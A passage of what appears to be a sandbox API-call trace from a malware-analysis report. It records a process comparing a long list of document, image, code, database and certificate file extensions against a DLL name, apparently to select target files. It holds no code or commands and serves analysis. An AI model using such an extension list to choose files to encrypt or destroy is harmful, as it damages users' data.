	[0060.274] lstrlenW (lpString=".accde") returned 6
	[0060.274] lstrcmpiW (lpString1=".accde", lpString2="BE.dll") returned -1
	[0060.274] lstrlenW (lpString=".accdt") returned 6
	[0060.274] lstrcmpiW (lpString1=".accdt", lpString2="BE.dll") returned -1
	[0060.274] lstrlenW (lpString=".accdw") returned 6
	[0060.274] lstrcmpiW (lpString1=".accdw", lpString2="BE.dll") returned -1
	[0060.274] lstrlenW (lpString=".adb") returned 4
	[0060.274] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".adp") returned 4
	[0060.274] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".ai") returned 3
	[0060.274] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0060.274] lstrlenW (lpString=".ai3") returned 4
	[0060.274] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".ai4") returned 4
	[0060.274] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".ai5") returned 4
	[0060.274] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".ai6") returned 4
	[0060.275] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".ai7") returned 4
	[0060.275] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".ai8") returned 4
	[0060.275] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".anim") returned 5
	[0060.275] lstrcmpiW (lpString1=".anim", lpString2="E.dll") returned -1
	[0060.275] lstrlenW (lpString=".arw") returned 4
	[0060.275] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".as") returned 3
	[0060.275] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0060.275] lstrlenW (lpString=".asa") returned 4
	[0060.275] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".asc") returned 4
	[0060.275] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".ascx") returned 5
	[0060.275] lstrcmpiW (lpString1=".ascx", lpString2="E.dll") returned -1
	[0060.275] lstrlenW (lpString=".asm") returned 4
	[0060.275] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".asmx") returned 5
	[0060.275] lstrcmpiW (lpString1=".asmx", lpString2="E.dll") returned -1
	[0060.275] lstrlenW (lpString=".asp") returned 4
	[0060.275] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".aspx") returned 5
	[0060.275] lstrcmpiW (lpString1=".aspx", lpString2="E.dll") returned -1
	[0060.275] lstrlenW (lpString=".asr") returned 4
	[0060.275] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0060.275] lstrlenW (lpString=".asx") returned 4
	[0060.275] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".avi") returned 4
	[0060.276] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".avs") returned 4
	[0060.276] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".backup") returned 7
	[0060.276] lstrcmpiW (lpString1=".backup", lpString2="OBE.dll") returned -1
	[0060.276] lstrlenW (lpString=".bak") returned 4
	[0060.276] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".bay") returned 4
	[0060.276] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".bd") returned 3
	[0060.276] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0060.276] lstrlenW (lpString=".bin") returned 4
	[0060.276] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".bmp") returned 4
	[0060.276] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".bz2") returned 4
	[0060.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".c") returned 2
	[0060.276] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0060.276] lstrlenW (lpString=".cdr") returned 4
	[0060.276] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".cer") returned 4
	[0060.276] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".cf") returned 3
	[0060.276] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0060.276] lstrlenW (lpString=".cfc") returned 4
	[0060.276] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0060.276] lstrlenW (lpString=".cfm") returned 4
	[0060.277] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".cfml") returned 5
	[0060.277] lstrcmpiW (lpString1=".cfml", lpString2="E.dll") returned -1
	[0060.277] lstrlenW (lpString=".cfu") returned 4
	[0060.277] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".chm") returned 4
	[0060.277] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".cin") returned 4
	[0060.277] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".class") returned 6
	[0060.277] lstrcmpiW (lpString1=".class", lpString2="BE.dll") returned -1
	[0060.277] lstrlenW (lpString=".clx") returned 4
	[0060.277] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".config") returned 7
	[0060.277] lstrcmpiW (lpString1=".config", lpString2="OBE.dll") returned -1
	[0060.277] lstrlenW (lpString=".cpp") returned 4
	[0060.277] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".cr2") returned 4
	[0060.277] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".crt") returned 4
	[0060.277] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".crw") returned 4
	[0060.277] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".cs") returned 3
	[0060.277] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0060.277] lstrlenW (lpString=".css") returned 4
	[0060.277] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0060.277] lstrlenW (lpString=".csv") returned 4
	[0060.277] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".cub") returned 4
	[0060.278] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dae") returned 4
	[0060.278] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dat") returned 4
	[0060.278] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".db") returned 3
	[0060.278] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0060.278] lstrlenW (lpString=".dbf") returned 4
	[0060.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dbx") returned 4
	[0060.278] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dc3") returned 4
	[0060.278] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dcm") returned 4
	[0060.278] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dcr") returned 4
	[0060.278] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".der") returned 4
	[0060.278] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dib") returned 4
	[0060.278] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dic") returned 4
	[0060.278] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".dif") returned 4
	[0060.278] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0060.278] lstrlenW (lpString=".divx") returned 5
	[0060.278] lstrcmpiW (lpString1=".divx", lpString2="E.dll") returned -1
	[0060.278] lstrlenW (lpString=".djvu") returned 5
	[0060.278] lstrcmpiW (lpString1=".djvu", lpString2="E.dll") returned -1
	[0060.279] lstrlenW (lpString=".dng") returned 4
	[0060.279] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".doc") returned 4
	[0060.279] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".docm") returned 5
	[0060.279] lstrcmpiW (lpString1=".docm", lpString2="E.dll") returned -1
	[0060.279] lstrlenW (lpString=".docx") returned 5
	[0060.279] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0060.279] lstrlenW (lpString=".dot") returned 4
	[0060.279] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dotm") returned 5
	[0060.279] lstrcmpiW (lpString1=".dotm", lpString2="E.dll") returned -1
	[0060.279] lstrlenW (lpString=".dotx") returned 5
	[0060.279] lstrcmpiW (lpString1=".dotx", lpString2="E.dll") returned -1
	[0060.279] lstrlenW (lpString=".dpx") returned 4
	[0060.279] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dqy") returned 4
	[0060.279] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dsn") returned 4
	[0060.279] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dt") returned 3
	[0060.279] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0060.279] lstrlenW (lpString=".dtd") returned 4
	[0060.279] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dwg") returned 4
	[0060.279] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dwt") returned 4
	[0060.279] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0060.279] lstrlenW (lpString=".dx") returned 3
	[0060.279] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0060.280] lstrlenW (lpString=".dxf") returned 4
	[0060.280] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".edml") returned 5
	[0060.280] lstrcmpiW (lpString1=".edml", lpString2="E.dll") returned -1
	[0060.280] lstrlenW (lpString=".efd") returned 4
	[0060.280] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".elf") returned 4
	[0060.280] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".emf") returned 4
	[0060.280] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".emz") returned 4
	[0060.280] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".epf") returned 4
	[0060.280] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".eps") returned 4
	[0060.280] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".epsf") returned 5
	[0060.280] lstrcmpiW (lpString1=".epsf", lpString2="E.dll") returned -1
	[0060.280] lstrlenW (lpString=".epsp") returned 5
	[0060.280] lstrcmpiW (lpString1=".epsp", lpString2="E.dll") returned -1
	[0060.280] lstrlenW (lpString=".erf") returned 4
	[0060.280] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".exr") returned 4
	[0060.280] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".f4v") returned 4
	[0060.280] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0060.280] lstrlenW (lpString=".fido") returned 5
	[0060.280] lstrcmpiW (lpString1=".fido", lpString2="E.dll") returned -1
	[0060.280] lstrlenW (lpString=".flm") returned 4
	[0060.281] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".flv") returned 4
	[0060.281] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".frm") returned 4
	[0060.281] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".fxg") returned 4
	[0060.281] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".geo") returned 4
	[0060.281] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".gif") returned 4
	[0060.281] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".grs") returned 4
	[0060.281] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".gz") returned 3
	[0060.281] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0060.281] lstrlenW (lpString=".h") returned 2
	[0060.281] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0060.281] lstrlenW (lpString=".hdr") returned 4
	[0060.281] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".hpp") returned 4
	[0060.281] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".hta") returned 4
	[0060.281] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".htc") returned 4
	[0060.281] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".htm") returned 4
	[0060.281] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0060.281] lstrlenW (lpString=".html") returned 5
	[0060.281] lstrcmpiW (lpString1=".html", lpString2="E.dll") returned -1
	[0060.282] lstrlenW (lpString=".icb") returned 4
	[0060.282] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".ics") returned 4
	[0060.282] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".iff") returned 4
	[0060.282] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".inc") returned 4
	[0060.282] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".indd") returned 5
	[0060.282] lstrcmpiW (lpString1=".indd", lpString2="E.dll") returned -1
	[0060.282] lstrlenW (lpString=".ini") returned 4
	[0060.282] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".iqy") returned 4
	[0060.282] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".j2c") returned 4
	[0060.282] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0060.282] lstrlenW (lpString=".j2k") returned 4
	[0060.282] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0060.459] lstrlenW (lpString=".java") returned 5
	[0060.459] lstrcmpiW (lpString1=".java", lpString2="E.dll") returned -1
	[0060.459] lstrlenW (lpString=".jp2") returned 4
	[0060.459] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0060.459] lstrlenW (lpString=".jpc") returned 4
	[0060.459] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0060.459] lstrlenW (lpString=".jpe") returned 4
	[0060.460] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".jpeg") returned 5
	[0060.460] lstrcmpiW (lpString1=".jpeg", lpString2="E.dll") returned -1
	[0060.460] lstrlenW (lpString=".jpf") returned 4
	[0060.460] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".jpg") returned 4
	[0060.460] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".jpx") returned 4
	[0060.460] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".js") returned 3
	[0060.460] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0060.460] lstrlenW (lpString=".jsf") returned 4
	[0060.460] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".json") returned 5
	[0060.460] lstrcmpiW (lpString1=".json", lpString2="E.dll") returned -1
	[0060.460] lstrlenW (lpString=".jsp") returned 4
	[0060.460] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".kdc") returned 4
	[0060.460] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".kmz") returned 4
	[0060.460] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".kwm") returned 4
	[0060.460] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".lasso") returned 6
	[0060.460] lstrcmpiW (lpString1=".lasso", lpString2="BE.dll") returned -1
	[0060.460] lstrlenW (lpString=".lbi") returned 4
	[0060.460] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".lgf") returned 4
	[0060.460] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".lgp") returned 4
	[0060.460] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".log") returned 4
	[0060.460] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".m1v") returned 4
	[0060.460] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".m4a") returned 4
	[0060.460] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0060.460] lstrlenW (lpString=".m4v") returned 4
	[0060.460] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".max") returned 4
	[0060.461] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".md") returned 3
	[0060.461] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0060.461] lstrlenW (lpString=".mda") returned 4
	[0060.461] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mdb") returned 4
	[0060.461] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mde") returned 4
	[0060.461] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mdf") returned 4
	[0060.461] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mdw") returned 4
	[0060.461] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mef") returned 4
	[0060.461] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mft") returned 4
	[0060.461] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mfw") returned 4
	[0060.461] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mht") returned 4
	[0060.461] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mhtml") returned 6
	[0060.461] lstrcmpiW (lpString1=".mhtml", lpString2="BE.dll") returned -1
	[0060.461] lstrlenW (lpString=".mka") returned 4
	[0060.461] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mkidx") returned 6
	[0060.461] lstrcmpiW (lpString1=".mkidx", lpString2="BE.dll") returned -1
	[0060.461] lstrlenW (lpString=".mkv") returned 4
	[0060.461] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mos") returned 4
	[0060.461] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0060.461] lstrlenW (lpString=".mov") returned 4
	[0060.461] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".mp3") returned 4
	[0060.462] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".mp4") returned 4
	[0060.462] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".mpeg") returned 5
	[0060.462] lstrcmpiW (lpString1=".mpeg", lpString2="E.dll") returned -1
	[0060.462] lstrlenW (lpString=".mpg") returned 4
	[0060.462] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".mpv") returned 4
	[0060.462] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".mrw") returned 4
	[0060.462] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".msg") returned 4
	[0060.462] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".mxl") returned 4
	[0060.462] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".myd") returned 4
	[0060.462] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".myi") returned 4
	[0060.462] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".nef") returned 4
	[0060.462] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".nrw") returned 4
	[0060.462] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".obj") returned 4
	[0060.462] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".odb") returned 4
	[0060.462] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".odc") returned 4
	[0060.462] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".odm") returned 4
	[0060.462] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".odp") returned 4
	[0060.462] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".ods") returned 4
	[0060.462] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0060.462] lstrlenW (lpString=".oft") returned 4
	[0060.462] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".one") returned 4
	[0060.463] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".onepkg") returned 7
	[0060.463] lstrcmpiW (lpString1=".onepkg", lpString2="OBE.dll") returned -1
	[0060.463] lstrlenW (lpString=".onetoc2") returned 8
	[0060.463] lstrcmpiW (lpString1=".onetoc2", lpString2="OOBE.dll") returned -1
	[0060.463] lstrlenW (lpString=".opt") returned 4
	[0060.463] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".oqy") returned 4
	[0060.463] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".orf") returned 4
	[0060.463] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".p12") returned 4
	[0060.463] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".p7b") returned 4
	[0060.463] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".p7c") returned 4
	[0060.463] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pam") returned 4
	[0060.463] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pbm") returned 4
	[0060.463] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pct") returned 4
	[0060.463] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pcx") returned 4
	[0060.463] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pdd") returned 4
	[0060.463] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pdf") returned 4
	[0060.463] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pdp") returned 4
	[0060.463] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pef") returned 4
	[0060.463] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0060.463] lstrlenW (lpString=".pem") returned 4
	[0060.464] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pff") returned 4
	[0060.464] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pfm") returned 4
	[0060.464] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pfx") returned 4
	[0060.464] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pgm") returned 4
	[0060.464] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".php") returned 4
	[0060.464] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".php3") returned 5
	[0060.464] lstrcmpiW (lpString1=".php3", lpString2="E.dll") returned -1
	[0060.464] lstrlenW (lpString=".php4") returned 5
	[0060.464] lstrcmpiW (lpString1=".php4", lpString2="E.dll") returned -1
	[0060.464] lstrlenW (lpString=".php5") returned 5
	[0060.464] lstrcmpiW (lpString1=".php5", lpString2="E.dll") returned -1
	[0060.464] lstrlenW (lpString=".phtml") returned 6
	[0060.464] lstrcmpiW (lpString1=".phtml", lpString2="BE.dll") returned -1
	[0060.464] lstrlenW (lpString=".pict") returned 5
	[0060.464] lstrcmpiW (lpString1=".pict", lpString2="E.dll") returned -1
	[0060.464] lstrlenW (lpString=".pl") returned 3
	[0060.464] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0060.464] lstrlenW (lpString=".pls") returned 4
	[0060.464] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pm") returned 3
	[0060.464] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0060.464] lstrlenW (lpString=".png") returned 4
	[0060.464] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pnm") returned 4
	[0060.464] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".pot") returned 4
	[0060.464] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0060.464] lstrlenW (lpString=".potm") returned 5
	[0060.464] lstrcmpiW (lpString1=".potm", lpString2="E.dll") returned -1
	[0060.464] lstrlenW (lpString=".potx") returned 5
	[0060.464] lstrcmpiW (lpString1=".potx", lpString2="E.dll") returned -1
	[0060.464] lstrlenW (lpString=".ppa") returned 4
	[0060.465] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".ppam") returned 5
	[0060.465] lstrcmpiW (lpString1=".ppam", lpString2="E.dll") returned -1
	[0060.465] lstrlenW (lpString=".ppm") returned 4
	[0060.465] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".pps") returned 4
	[0060.465] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".ppsm") returned 5
	[0060.465] lstrcmpiW (lpString1=".ppsm", lpString2="E.dll") returned -1
	[0060.465] lstrlenW (lpString=".ppt") returned 4
	[0060.465] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".pptm") returned 5
	[0060.465] lstrcmpiW (lpString1=".pptm", lpString2="E.dll") returned -1
	[0060.465] lstrlenW (lpString=".pptx") returned 5
